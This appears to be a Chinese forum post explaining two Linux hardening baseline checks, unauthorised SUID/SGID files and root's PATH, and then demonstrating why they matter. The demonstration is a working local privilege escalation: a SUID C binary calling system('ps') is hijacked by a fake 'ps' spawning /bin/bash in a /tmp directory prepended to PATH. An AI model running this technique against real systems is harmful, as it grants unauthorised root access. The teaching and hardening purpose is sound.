Linux 安全中环境变量安全涉及提权

最近很多小伙伴私底下问到,Linux下root的环境变量和未授权的SUID和SGID为什么要加固?会有什么风险?具体有哪些危害?今天给大家简单介绍一下Linux的环境变量配置不当可以导致系统提权。
 
1、Linux的加固项介绍:
1.1 查找未授权的SUID/SGID文件
 
安全基线项目名称:
操作系统Linux SUID/SGID文件安全基线要求项
安全基线项说明
文件系统-查找未授权的SUID/SGID文件
检测操作步骤:
用下面的命令查找系统中所有的SUID和SGID程序,执行:
for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'`; do
find $PART \( -perm -04000 -o -perm -02000 \) -type f -xdev -print
Done
建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序

1.2 root用户环境变量的安全性
安全基线项目名称:
操作系统Linux超级用户环境变量安全基线要求项 
安全基线项说明:
帐号与口令-root用户环境变量的安全性
检测操作步骤:
执行:echo $PATH | egrep '(^|:)(\.|:|$)',检查是否包含父目录,
执行:find `echo $PATH | tr ':' ' '` -type d \( -perm -002 -o -perm -020 \) -ls,检查是否包含组目录权限为777的目录
确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录
 
2、利用过程
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
step1:使用echo命令就能轻易的查看和当前用户相关的环境变量。
echo $PATH
/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/bin
step2:编写一个C语言文件(demo.c),编辑后可执行的二进制文件,需要GCC的环境,如果没有自行安装。
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
step3:进行编译,赋权限并执行
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
./shell
test@localhost ~]$ ./shell 
   PID TTY          TIME CMD
  2407 pts/1    00:00:00 bash
  2460 pts/1    00:00:00 shell
  2461 pts/1    00:00:00 pss
step4: 攻击测试
使用copy命令进行测试提权
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/ttgo2
./shell
whoami
3、利用说明
这里充分说明了,如果一个普通用户的PATH变量包含了自己能控制的执行文件目录,再加上利用关键具有SUID权限的文件,就可以进行提权,所以这两个配置项是非常有必要进行安全加固的。

0 个评论

要回复文章请先登录注册